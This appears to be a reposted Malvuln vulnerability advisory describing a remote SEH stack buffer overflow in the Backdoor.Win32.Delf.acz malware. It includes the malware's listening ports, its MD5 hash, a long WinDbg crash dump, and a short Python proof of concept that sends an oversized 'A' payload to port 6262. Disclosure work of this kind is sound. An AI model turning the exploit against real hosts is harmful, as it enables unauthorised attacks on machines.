Backdoor.Win32.Delf.acz Buffer Overflow – Geekychild

Discovery / credits: Malvuln – malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/065d89c63fa1057de98c727d4b044b98.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.acz
Vulnerability: Remote Stack Buffer Overflow (SEH)
Description: The malware listens on TCP ports 6060,6161,6262,6363,6464,6565,6767,6868,6969,7070,7171,7373. Attackers who can reach the infected system can send a specially crafted packet to TCP port 6262 and trigger an stack buffer overflow overwriting ECX register and the structured exception handler (SEH).
Type: PE32
MD5: 065d89c63fa1057de98c727d4b044b98
Vuln ID: MVID-2021-0236
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 06/01/2021

Memory Dump:
(11e0.f0): Access violation – code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77229d70 esi=000a1870 edi=000a1d34
eip=7720e916 esp=000a17b8 ebp=000a1858 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!ZwQueryInformationProcess+0x26:
7720e916 c21400 ret 14h

0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

FAULTING_IP:
Backdoor_Win32_Delf_acz_065d89c63fa1057de98c727d4b044b98+93c5
004093c5 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

EXCEPTION_RECORD: 0019efa4 — (.exr 0x19efa4)
ExceptionAddress: 004093c5 (Backdoor_Win32_Delf_acz_065d89c63fa1057de98c727d4b044b98+0x000093c5)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 001a0000
Attempt to write to address 001a0000

PROCESS_NAME: Backdoor.Win32.Delf.acz.065d89c63fa1057de98c727d4b044b98.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 – The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 – The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000001

EXCEPTION_PARAMETER2: 000a0fe8

WRITE_ADDRESS: 000a0fe8

FOLLOWUP_IP:
Backdoor_Win32_Delf_acz_065d89c63fa1057de98c727d4b044b98+93c5
004093c5 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

FAILED_INSTRUCTION_ADDRESS:
+93c5
41414141 ?? ???

MOD_LIST:

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

CONTEXT: 0019eff4 — (.cxr 0x19eff4)
eax=0019f400 ebx=00002a05 ecx=000007a3 edx=0019f486 esi=0418f194 edi=0019fffe
eip=004093c5 esp=0019f454 ebp=0019f470 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Backdoor_Win32_Delf_acz_065d89c63fa1057de98c727d4b044b98+0x93c5:
004093c5 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
Resetting default scope

FAULTING_THREAD: ffffffff

BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_BAD_INSTRUCTION_PTR_INVALID_POINTER_WRITE_WRONG_SYMBOLS_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID: STACK_OVERFLOW_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER: from 0046c5bf to 004093c5

IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build’s rebase
log at binbuild_logstimebuildntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

STACK_TEXT:
0019f454 004093c5 backdoor_win32_delf_acz+0x93c5
0019f478 0046c5bf backdoor_win32_delf_acz+0x6c5bf
0019fc98 41414141 unknown!printable+0x0
0019fc9c 41414141 unknown!printable+0x0
0019fca0 41414141 unknown!printable+0x0
0019fca4 41414141 unknown!printable+0x0
0019fca8 41414141 unknown!printable+0x0
0019fcac 41414141 unknown!printable+0x0
0019fcb0 41414141 unknown!printable+0x0
0019fcb4 41414141 unknown!printable+0x0
0019fcb8 41414141 unknown!printable+0x0
0019fcbc 41414141 unknown!printable+0x0
0019fcc0 41414141 unknown!printable+0x0
0019fcc4 41414141 unknown!printable+0x0
0019fcc8 41414141 unknown!printable+0x0
0019fccc 41414141 unknown!printable+0x0
0019fcd0 41414141 unknown!printable+0x0
0019fcd4 41414141 unknown!printable+0x0
0019fcd8 41414141 unknown!printable+0x0
0019fcdc 41414141 unknown!printable+0x0
0019fce0 41414141 unknown!printable+0x0
0019fce4 41414141 unknown!printable+0x0
0019fce8 41414141 unknown!printable+0x0
0019fcec 41414141 unknown!printable+0x0
0019fcf0 41414141 unknown!printable+0x0
0019fcf4 41414141 unknown!printable+0x0
0019fcf8 41414141 unknown!printable+0x0
0019fcfc 41414141 unknown!printable+0x0
0019fd00 41414141 unknown!printable+0x0
0019fd04 41414141 unknown!printable+0x0
0019fd08 41414141 unknown!printable+0x0
0019fd0c 41414141 unknown!printable+0x0
0019fd10 41414141 unknown!printable+0x0
0019fd14 41414141 unknown!printable+0x0
0019fd18 41414141 unknown!printable+0x0
0019fd1c 41414141 unknown!printable+0x0
0019fd20 41414141 unknown!printable+0x0
0019fd24 41414141 unknown!printable+0x0
0019fd28 41414141 unknown!printable+0x0
0019fd2c 41414141 unknown!printable+0x0
0019fd30 41414141 unknown!printable+0x0
0019fd34 41414141 unknown!printable+0x0
0019fd38 41414141 unknown!printable+0x0
0019fd3c 41414141 unknown!printable+0x0
0019fd40 41414141 unknown!printable+0x0
0019fd44 41414141 unknown!printable+0x0
0019fd48 41414141 unknown!printable+0x0
0019fd4c 41414141 unknown!printable+0x0
0019fd50 41414141 unknown!printable+0x0
0019fd54 41414141 unknown!printable+0x0
0019fd58 41414141 unknown!printable+0x0
0019fd5c 41414141 unknown!printable+0x0
0019fd60 41414141 unknown!printable+0x0
0019fd64 41414141 unknown!printable+0x0
0019fd68 41414141 unknown!printable+0x0
0019fd6c 41414141 unknown!printable+0x0
0019fd70 41414141 unknown!printable+0x0
0019fd74 41414141 unknown!printable+0x0
0019fd78 41414141 unknown!printable+0x0
0019fd7c 41414141 unknown!printable+0x0
0019fd80 41414141 unknown!printable+0x0
0019fd84 41414141 unknown!printable+0x0
0019fd88 41414141 unknown!printable+0x0
0019fd8c 41414141 unknown!printable+0x0
0019fd90 41414141 unknown!printable+0x0
0019fd94 41414141 unknown!printable+0x0
0019fd98 41414141 unknown!printable+0x0
0019fd9c 41414141 unknown!printable+0x0
0019fda0 41414141 unknown!printable+0x0
0019fda4 41414141 unknown!printable+0x0
0019fda8 41414141 unknown!printable+0x0
0019fdac 41414141 unknown!printable+0x0
0019fdb0 41414141 unknown!printable+0x0
0019fdb4 41414141 unknown!printable+0x0
0019fdb8 41414141 unknown!printable+0x0
0019fdbc 41414141 unknown!printable+0x0
0019fdc0 41414141 unknown!printable+0x0
0019fdc4 41414141 unknown!printable+0x0
0019fdc8 41414141 unknown!printable+0x0
0019fdcc 41414141 unknown!printable+0x0
0019fdd0 41414141 unknown!printable+0x0
0019fdd4 41414141 unknown!printable+0x0
0019fdd8 41414141 unknown!printable+0x0
0019fddc 41414141 unknown!printable+0x0
0019fde0 41414141 unknown!printable+0x0
0019fde4 41414141 unknown!printable+0x0
0019fde8 41414141 unknown!printable+0x0
0019fdec 41414141 unknown!printable+0x0
0019fdf0 41414141 unknown!printable+0x0
0019fdf4 41414141 unknown!printable+0x0
0019fdf8 41414141 unknown!printable+0x0
0019fdfc 41414141 unknown!printable+0x0
0019fe00 41414141 unknown!printable+0x0
0019fe04 41414141 unknown!printable+0x0
0019fe08 41414141 unknown!printable+0x0
0019fe0c 41414141 unknown!printable+0x0
0019fe10 41414141 unknown!printable+0x0
0019fe14 41414141 unknown!printable+0x0
0019fe18 41414141 unknown!printable+0x0
0019fe1c 41414141 unknown!printable+0x0
0019fe20 41414141 unknown!printable+0x0
0019fe24 41414141 unknown!printable+0x0
0019fe28 41414141 unknown!printable+0x0
0019fe2c 41414141 unknown!printable+0x0
0019fe30 41414141 unknown!printable+0x0
0019fe34 41414141 unknown!printable+0x0
0019fe38 41414141 unknown!printable+0x0
0019fe3c 41414141 unknown!printable+0x0
0019fe40 41414141 unknown!printable+0x0
0019fe44 41414141 unknown!printable+0x0
0019fe48 41414141 unknown!printable+0x0
0019fe4c 41414141 unknown!printable+0x0
0019fe50 41414141 unknown!printable+0x0
0019fe54 41414141 unknown!printable+0x0
0019fe58 41414141 unknown!printable+0x0
0019fe5c 41414141 unknown!printable+0x0
0019fe60 41414141 unknown!printable+0x0
0019fe64 41414141 unknown!printable+0x0
0019fe68 41414141 unknown!printable+0x0
0019fe6c 41414141 unknown!printable+0x0
0019fe70 41414141 unknown!printable+0x0
0019fe74 41414141 unknown!printable+0x0
0019fe78 41414141 unknown!printable+0x0
0019fe7c 41414141 unknown!printable+0x0
0019fe80 41414141 unknown!printable+0x0
0019fe84 41414141 unknown!printable+0x0
0019fe88 41414141 unknown!printable+0x0
0019fe8c 41414141 unknown!printable+0x0
0019fe90 41414141 unknown!printable+0x0
0019fe94 41414141 unknown!printable+0x0
0019fe98 41414141 unknown!printable+0x0
0019fe9c 41414141 unknown!printable+0x0
0019fea0 41414141 unknown!printable+0x0
0019fea4 41414141 unknown!printable+0x0
0019fea8 41414141 unknown!printable+0x0
0019feac 41414141 unknown!printable+0x0
0019feb0 41414141 unknown!printable+0x0
0019feb4 41414141 unknown!printable+0x0
0019feb8 41414141 unknown!printable+0x0
0019febc 41414141 unknown!printable+0x0
0019fec0 41414141 unknown!printable+0x0
0019fec4 41414141 unknown!printable+0x0
0019fec8 41414141 unknown!printable+0x0
0019fecc 41414141 unknown!printable+0x0
0019fed0 41414141 unknown!printable+0x0
0019fed4 41414141 unknown!printable+0x0
0019fed8 41414141 unknown!printable+0x0
0019fedc 41414141 unknown!printable+0x0
0019fee0 41414141 unknown!printable+0x0
0019fee4 41414141 unknown!printable+0x0
0019fee8 41414141 unknown!printable+0x0
0019feec 41414141 unknown!printable+0x0
0019fef0 41414141 unknown!printable+0x0
0019fef4 41414141 unknown!printable+0x0
0019fef8 41414141 unknown!printable+0x0
0019fefc 41414141 unknown!printable+0x0
0019ff00 41414141 unknown!printable+0x0
0019ff04 41414141 unknown!printable+0x0
0019ff08 41414141 unknown!printable+0x0
0019ff0c 41414141 unknown!printable+0x0
0019ff10 41414141 unknown!printable+0x0
0019ff14 41414141 unknown!printable+0x0
0019ff18 41414141 unknown!printable+0x0
0019ff1c 41414141 unknown!printable+0x0
0019ff20 41414141 unknown!printable+0x0
0019ff24 41414141 unknown!printable+0x0
0019ff28 41414141 unknown!printable+0x0
0019ff2c 41414141 unknown!printable+0x0
0019ff30 41414141 unknown!printable+0x0
0019ff34 41414141 unknown!printable+0x0
0019ff38 41414141 unknown!printable+0x0
0019ff3c 41414141 unknown!printable+0x0
0019ff40 41414141 unknown!printable+0x0
0019ff44 41414141 unknown!printable+0x0
0019ff48 41414141 unknown!printable+0x0
0019ff4c 41414141 unknown!printable+0x0
0019ff50 41414141 unknown!printable+0x0
0019ff54 41414141 unknown!printable+0x0
0019ff58 41414141 unknown!printable+0x0
0019ff5c 41414141 unknown!printable+0x0
0019ff60 41414141 unknown!printable+0x0
0019ff64 41414141 unknown!printable+0x0
0019ff68 41414141 unknown!printable+0x0
0019ff6c 41414141 unknown!printable+0x0
0019ff70 41414141 unknown!printable+0x0
0019ff74 41414141 unknown!printable+0x0
0019ff78 41414141 unknown!printable+0x0
0019ff7c 41414141 unknown!printable+0x0
0019ff80 41414141 unknown!printable+0x0
0019ff84 41414141 unknown!printable+0x0
0019ff88 41414141 unknown!printable+0x0
0019ff8c 41414141 unknown!printable+0x0
0019ff90 41414141 unknown!printable+0x0
0019ff94 41414141 unknown!printable+0x0
0019ff98 41414141 unknown!printable+0x0
0019ff9c 41414141 unknown!printable+0x0
0019ffa0 41414141 unknown!printable+0x0
0019ffa4 41414141 unknown!printable+0x0
0019ffa8 41414141 unknown!printable+0x0
0019ffac 41414141 unknown!printable+0x0
0019ffb0 41414141 unknown!printable+0x0
0019ffb4 41414141 unknown!printable+0x0
0019ffb8 41414141 unknown!printable+0x0
0019ffbc 41414141 unknown!printable+0x0
0019ffc0 41414141 unknown!printable+0x0
0019ffc4 41414141 unknown!printable+0x0
0019ffc8 41414141 unknown!printable+0x0
0019ffcc 41414141 unknown!printable+0x0
0019ffd0 41414141 unknown!printable+0x0
0019ffd4 41414141 unknown!printable+0x0
0019ffd8 41414141 unknown!printable+0x0
0019ffdc 41414141 unknown!printable+0x0
0019ffe0 41414141 unknown!printable+0x0
0019ffe4 41414141 unknown!printable+0x0
0019ffe8 41414141 unknown!printable+0x0
0019ffec 41414141 unknown!printable+0x0
0019fff0 41414141 unknown!printable+0x0
0019fff4 41414141 unknown!printable+0x0
0019fff8 41414141 unknown!printable+0x0
0019fffc 41414141 unknown!printable+0x0

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: backdoor_win32_delf_acz+93c5

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: Backdoor_Win32_Delf_acz_065d89c63fa1057de98c727d4b044b98

IMAGE_NAME: Backdoor.Win32.Delf.acz.065d89c63fa1057de98c727d4b044b98.exe

DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19

STACK_COMMAND: .cxr 000000000019EFF4 ; kb ; dds 19f454 ; kb

FAILURE_BUCKET_ID: STACK_OVERFLOW_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Delf.acz.065d89c63fa1057de98c727d4b044b98.exe!Unknown

BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_BAD_INSTRUCTION_PTR_INVALID_POINTER_WRITE_WRONG_SYMBOLS_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_delf_acz+93c5

Followup: MachineOwner
———

0:000> !exchain
000a1784: ntdll!ExecuteHandler2+44 (77229d70)
000a1d34: ntdll!ExecuteHandler2+44 (77229d70)
000a22e4: ntdll!ExecuteHandler2+44 (77229d70)
000a2894: ntdll!ExecuteHandler2+44 (77229d70)
000a2e44: ntdll!ExecuteHandler2+44 (77229d70)
000a33f4: ntdll!ExecuteHandler2+44 (77229d70)
000a39a4: ntdll!ExecuteHandler2+44 (77229d70)
000a3f54: ntdll!ExecuteHandler2+44 (77229d70)
000a4504: ntdll!ExecuteHandler2+44 (77229d70)
000a4ab4: ntdll!ExecuteHandler2+44 (77229d70)
000a5064: ntdll!ExecuteHandler2+44 (77229d70)
000a5614: ntdll!ExecuteHandler2+44 (77229d70)
000a5bc4: ntdll!ExecuteHandler2+44 (77229d70)
000a6174: ntdll!ExecuteHandler2+44 (77229d70)
000a6724: ntdll!ExecuteHandler2+44 (77229d70)
000a6cd4: ntdll!ExecuteHandler2+44 (77229d70)
000a7284: ntdll!ExecuteHandler2+44 (77229d70)
000a7834: ntdll!ExecuteHandler2+44 (77229d70)
000a7de4: ntdll!ExecuteHandler2+44 (77229d70)
000a8394: ntdll!ExecuteHandler2+44 (77229d70)
000a8944: ntdll!ExecuteHandler2+44 (77229d70)
000a8ef4: ntdll!ExecuteHandler2+44 (77229d70)
000a94a4: ntdll!ExecuteHandler2+44 (77229d70)
000a9a54: ntdll!ExecuteHandler2+44 (77229d70)
000aa004: ntdll!ExecuteHandler2+44 (77229d70)
000aa5b4: ntdll!ExecuteHandler2+44 (77229d70)
000aab64: ntdll!ExecuteHandler2+44 (77229d70)
000ab114: ntdll!ExecuteHandler2+44 (77229d70)
000ab6c4: ntdll!ExecuteHandler2+44 (77229d70)
000abc74: ntdll!ExecuteHandler2+44 (77229d70)
000ac224: ntdll!ExecuteHandler2+44 (77229d70)
000ac7d4: ntdll!ExecuteHandler2+44 (77229d70)
000acd84: ntdll!ExecuteHandler2+44 (77229d70)
000ad334: ntdll!ExecuteHandler2+44 (77229d70)
000ad8e4: ntdll!ExecuteHandler2+44 (77229d70)
000ade94: ntdll!ExecuteHandler2+44 (77229d70)
000ae444: ntdll!ExecuteHandler2+44 (77229d70)
000ae9f4: ntdll!ExecuteHandler2+44 (77229d70)
000aefa4: ntdll!ExecuteHandler2+44 (77229d70)
000af554: ntdll!ExecuteHandler2+44 (77229d70)
000afb04: ntdll!ExecuteHandler2+44 (77229d70)
000b00b4: ntdll!ExecuteHandler2+44 (77229d70)
000b0664: ntdll!ExecuteHandler2+44 (77229d70)
000b0c14: ntdll!ExecuteHandler2+44 (77229d70)
000b11c4: ntdll!ExecuteHandler2+44 (77229d70)
000b1774: ntdll!ExecuteHandler2+44 (77229d70)
000b1d24: ntdll!ExecuteHandler2+44 (77229d70)
000b22d4: ntdll!ExecuteHandler2+44 (77229d70)
000b2884: ntdll!ExecuteHandler2+44 (77229d70)
000b2e34: ntdll!ExecuteHandler2+44 (77229d70)
000b33e4: ntdll!ExecuteHandler2+44 (77229d70)
000b3994: ntdll!ExecuteHandler2+44 (77229d70)
000b3f44: ntdll!ExecuteHandler2+44 (77229d70)
000b44f4: ntdll!ExecuteHandler2+44 (77229d70)
000b4aa4: ntdll!ExecuteHandler2+44 (77229d70)
000b5054: ntdll!ExecuteHandler2+44 (77229d70)
000b5604: ntdll!ExecuteHandler2+44 (77229d70)
000b5bb4: ntdll!ExecuteHandler2+44 (77229d70)
000b6164: ntdll!ExecuteHandler2+44 (77229d70)
000b6714: ntdll!ExecuteHandler2+44 (77229d70)
000b6cc4: ntdll!ExecuteHandler2+44 (77229d70)
000b7274: ntdll!ExecuteHandler2+44 (77229d70)
000b7824: ntdll!ExecuteHandler2+44 (77229d70)
000b7dd4: ntdll!ExecuteHandler2+44 (77229d70)
000b8384: ntdll!ExecuteHandler2+44 (77229d70)
000b8934: ntdll!ExecuteHandler2+44 (77229d70)
000b8ee4: ntdll!ExecuteHandler2+44 (77229d70)
000b9494: ntdll!ExecuteHandler2+44 (77229d70)
000b9a44: ntdll!ExecuteHandler2+44 (77229d70)
000b9ff4: ntdll!ExecuteHandler2+44 (77229d70)
000ba5a4: ntdll!ExecuteHandler2+44 (77229d70)
000bab54: ntdll!ExecuteHandler2+44 (77229d70)
000bb104: ntdll!ExecuteHandler2+44 (77229d70)
000bb6b4: ntdll!ExecuteHandler2+44 (77229d70)
000bbc64: ntdll!ExecuteHandler2+44 (77229d70)
000bc214: ntdll!ExecuteHandler2+44 (77229d70)
000bc7c4: ntdll!ExecuteHandler2+44 (77229d70)
000bcd74: ntdll!ExecuteHandler2+44 (77229d70)
000bd324: ntdll!ExecuteHandler2+44 (77229d70)
000bd8d4: ntdll!ExecuteHandler2+44 (77229d70)
000bde84: ntdll!ExecuteHandler2+44 (77229d70)
000be434: ntdll!ExecuteHandler2+44 (77229d70)
000be9e4: ntdll!ExecuteHandler2+44 (77229d70)
000bef94: ntdll!ExecuteHandler2+44 (77229d70)
000bf544: ntdll!ExecuteHandler2+44 (77229d70)
000bfaf4: ntdll!ExecuteHandler2+44 (77229d70)
000c00a4: ntdll!ExecuteHandler2+44 (77229d70)
000c0654: ntdll!ExecuteHandler2+44 (77229d70)
000c0c04: ntdll!ExecuteHandler2+44 (77229d70)
000c11b4: ntdll!ExecuteHandler2+44 (77229d70)
000c1764: ntdll!ExecuteHandler2+44 (77229d70)
000c1d14: ntdll!ExecuteHandler2+44 (77229d70)
000c22c4: ntdll!ExecuteHandler2+44 (77229d70)
000c2874: ntdll!ExecuteHandler2+44 (77229d70)
000c2e24: ntdll!ExecuteHandler2+44 (77229d70)
000c33d4: ntdll!ExecuteHandler2+44 (77229d70)
000c3984: ntdll!ExecuteHandler2+44 (77229d70)
000c3f34: ntdll!ExecuteHandler2+44 (77229d70)
000c44e4: ntdll!ExecuteHandler2+44 (77229d70)
000c4a94: ntdll!ExecuteHandler2+44 (77229d70)
000c5044: ntdll!ExecuteHandler2+44 (77229d70)
000c55f4: ntdll!ExecuteHandler2+44 (77229d70)
000c5ba4: ntdll!ExecuteHandler2+44 (77229d70)
000c6154: ntdll!ExecuteHandler2+44 (77229d70)
000c6704: ntdll!ExecuteHandler2+44 (77229d70)
000c6cb4: ntdll!ExecuteHandler2+44 (77229d70)
000c7264: ntdll!ExecuteHandler2+44 (77229d70)
000c7814: ntdll!ExecuteHandler2+44 (77229d70)
000c7dc4: ntdll!ExecuteHandler2+44 (77229d70)
000c8374: ntdll!ExecuteHandler2+44 (77229d70)
000c8924: ntdll!ExecuteHandler2+44 (77229d70)
000c8ed4: ntdll!ExecuteHandler2+44 (77229d70)
000c9484: ntdll!ExecuteHandler2+44 (77229d70)
000c9a34: ntdll!ExecuteHandler2+44 (77229d70)
000c9fe4: ntdll!ExecuteHandler2+44 (77229d70)
000ca594: ntdll!ExecuteHandler2+44 (77229d70)
000cab44: ntdll!ExecuteHandler2+44 (77229d70)
000cb0f4: ntdll!ExecuteHandler2+44 (77229d70)
000cb6a4: ntdll!ExecuteHandler2+44 (77229d70)
000cbc54: ntdll!ExecuteHandler2+44 (77229d70)
000cc204: ntdll!ExecuteHandler2+44 (77229d70)
000cc7b4: ntdll!ExecuteHandler2+44 (77229d70)
000ccd64: ntdll!ExecuteHandler2+44 (77229d70)
000cd314: ntdll!ExecuteHandler2+44 (77229d70)
000cd8c4: ntdll!ExecuteHandler2+44 (77229d70)
000cde74: ntdll!ExecuteHandler2+44 (77229d70)
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0018eec4: ntdll!ExecuteHandler2+44 (77229d70)
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00191c44: ntdll!ExecuteHandler2+44 (77229d70)
001921f4: ntdll!ExecuteHandler2+44 (77229d70)
001927a4: ntdll!ExecuteHandler2+44 (77229d70)
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00194f74: ntdll!ExecuteHandler2+44 (77229d70)
00195524: ntdll!ExecuteHandler2+44 (77229d70)
00195ad4: ntdll!ExecuteHandler2+44 (77229d70)
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00196634: ntdll!ExecuteHandler2+44 (77229d70)
00196be4: ntdll!ExecuteHandler2+44 (77229d70)
00197194: ntdll!ExecuteHandler2+44 (77229d70)
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00197cf4: ntdll!ExecuteHandler2+44 (77229d70)
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00198854: ntdll!ExecuteHandler2+44 (77229d70)
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001993b4: ntdll!ExecuteHandler2+44 (77229d70)
00199964: ntdll!ExecuteHandler2+44 (77229d70)
00199f14: ntdll!ExecuteHandler2+44 (77229d70)
0019a4c4: ntdll!ExecuteHandler2+44 (77229d70)
0019aa74: ntdll!ExecuteHandler2+44 (77229d70)
0019b024: ntdll!ExecuteHandler2+44 (77229d70)
0019b5d4: ntdll!ExecuteHandler2+44 (77229d70)
0019bb84: ntdll!ExecuteHandler2+44 (77229d70)
0019c134: ntdll!ExecuteHandler2+44 (77229d70)
0019c6e4: ntdll!ExecuteHandler2+44 (77229d70)
0019cc94: ntdll!ExecuteHandler2+44 (77229d70)
0019d244: ntdll!ExecuteHandler2+44 (77229d70)
0019d7f4: ntdll!ExecuteHandler2+44 (77229d70)
0019dda4: ntdll!ExecuteHandler2+44 (77229d70)
0019e354: ntdll!ExecuteHandler2+44 (77229d70)
0019e904: ntdll!ExecuteHandler2+44 (77229d70)
0019eeb4: ntdll!ExecuteHandler2+44 (77229d70)
0019f478: Backdoor_Win32_Delf_acz_065d89c63fa1057de98c727d4b044b98+6c603 (0046c603)
0019fc98: 41414141
Invalid exception stack at 41414141

Exploit/PoC:
from socket import *

MALWARE_HOST=”x.x.x.x”
PORT=6262

def doit():

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

PAYLOAD=”A”*10722+” HTTP/1.1rnHost: “+MALWARE_HOST+”rnrn”

s.send(PAYLOAD)
s.close()

print(“Backdoor.Win32.Delf.acz / Remote Stack Buffer Overflow – SEH”)
print(“MD5: 065d89c63fa1057de98c727d4b044b98”)
print(“Malvuln”)

if __name__==”__main__”:
doit()

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